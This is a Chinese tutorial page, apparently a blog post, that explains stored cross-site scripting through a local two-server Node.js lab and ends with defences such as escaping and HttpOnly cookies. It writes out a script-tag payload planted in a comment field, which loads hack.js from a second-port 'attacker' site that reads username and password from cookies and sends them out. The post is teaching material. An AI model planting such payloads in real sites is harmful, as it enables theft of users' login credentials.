zoukankan      html  css  js  c++  java
  • Stored XSS攻击

    XSS(Cross Site Scripting)

    即跨域脚本攻击,向被攻击网站注入恶意脚本,恶意脚本获取到数据发送到另外一个域的网站上。

    Stored XSS攻击

    即存储式XSS攻击。

    把恶意脚本存储到被攻击者的网站的数据库。

    其他人访问数据库中的恶意脚本代码后,浏览器执行恶意脚本,被攻击。

    存储式攻击不止一次攻击,并且被攻击的人不止一个,影响范围大。

    Stored XSS攻击实例

    思路

    1.通过nodeJS在后端开启两个不同端口的服务,即两个不同域的站点。

    2.被攻击者网站

     a:在登录时,把用户的用户名、密码信息存入cookie中

     b.有一个评论功能,用户在文本框内输入评论信息,然后提交到服务器。

    3.攻击者在评论处输入<script src='hack.js'></script>,点击提交后这段脚本存入到数据库

     hack.js文件是攻击者网站的js脚本文件,用来获取用户的cookie中的用户名、密码信息,并且把用户名、密码发送到攻击者指定的网站。

    4.当网站的用户访问带有评论<script src='hack.js'></script>信息时,会下载hack.js文件,并且执行,网站被攻击。

    注意:若返回的是包含<script src='hack.js'></script>内容的静态html文件,此段代码会执行。

             若使用ajax获取评论信息,然后通过innerHTML方法把<script src='hack.js'></script>添加到html文件,此段代码不执行。innerHTML会把<script src='hack.js'>

             </script> 当作字符串来处理,攻击失效。

    实验

    文件结构

    server.js为服务端,创建了两个http服务,端口分别为3000, 3100。

    hackedsite为被攻击的站点,运行在3000端口中。

    a.index.html为登录页。

    b.为评论信息页。

    c.为获取评论信息页。

    hacksite为攻击的站点,运行在3100端口中。

    a.hack.js为嵌入在被攻击网站的恶意脚本

    b.remote.js用于协助hack.js把获取到的数据发送到hacksite站点。

    过程

    1.使用nodeJS搭建本地服务器,启动两个不同端口的服务,端口分别为3000,3100。

    server1.listen(3000);

    server2.listen(3100);

    2.访问urlhttp://localhost:3000/hackedsite/index.html进入登录页面,并且输入用户名、密码

    点击登录按钮后,把用户名、密码存储到cookie中,并且跳转到评论页面。

    3.进入评论页面,在评论中输入<script src="http://localhost:3100/hacksite/hack.js"></script>

    点击提交后,评论信息存储到数据库,并且重定向到显示评论信息页面。

    4.显示评论信息页面

    第三条内容为<script src="http://localhost:3100/hacksite/hack.js"></script>,被浏览器解析执行。

    html为:

    上面的html片段返回为静态的浏览器解析script标签,若通过ajax获取评论数据,通过innerHTML添加的,则script标签不解析执行,当作字符串来处理。

    hack.js文件获取被攻击网站的cookie中存储的数据,并且发送到指定的站点。

    hack.js是如何工作的

    1.首先获取被攻击站点的cookie中的用户名、密码

    2.借助<script>标签把获取到的用户名、密码信息发送到攻击者站点,这样,就能窃取到被攻击者的登录信息了。

    sessionId

    http是一种无状态的协议,为了记录一个会话周期,通过sessionId来记录会话过程。sessionId通过cookie传递到服务端,也可通过XSS攻击获取sessionId,从而使攻击者获得登陆网站的权限。

    防御

    (1)转义

    (2)HttpOnly

    如果在cookie中设置了HttpOnly属性,那么通过程序(JS脚本、Applet等)将无法读取到cookie信息,这样能有效防止XSS攻击。cookie通常在http头中传输。

    cookie为字符串格式:key=value;Expires=date;Path=path;Domain=domain;Secure;HttpOnly

    代码地址

  • 相关阅读:
    Java安全之JNDI注入
    Visual Studio 2019 升级16.8之后(升级.Net 5),RazorTagHelper任务意外失败
    .Net Core 3.1升级 .Net 5后出现代码错误 rzc generate exited with code 1.
    重走py 之路 ——普通操作与函数(三)
    重走py 之路 ——字典和集合(二)
    设计模式结(完结篇)
    重走py 之路 ——列表(一)
    RestfulApi 学习笔记——分页和排序(五)
    RestfulApi 学习笔记——查询与过滤还有搜索(五)
    Android开发 Error:The number of method references in a .dex file cannot exceed 64K.Android开发 Error:The number of method references in a .dex file cannot exceed 64K
  • 原文地址:https://www.cnblogs.com/fe-huahai/p/6482672.html
Copyright © 2011-2022 走看看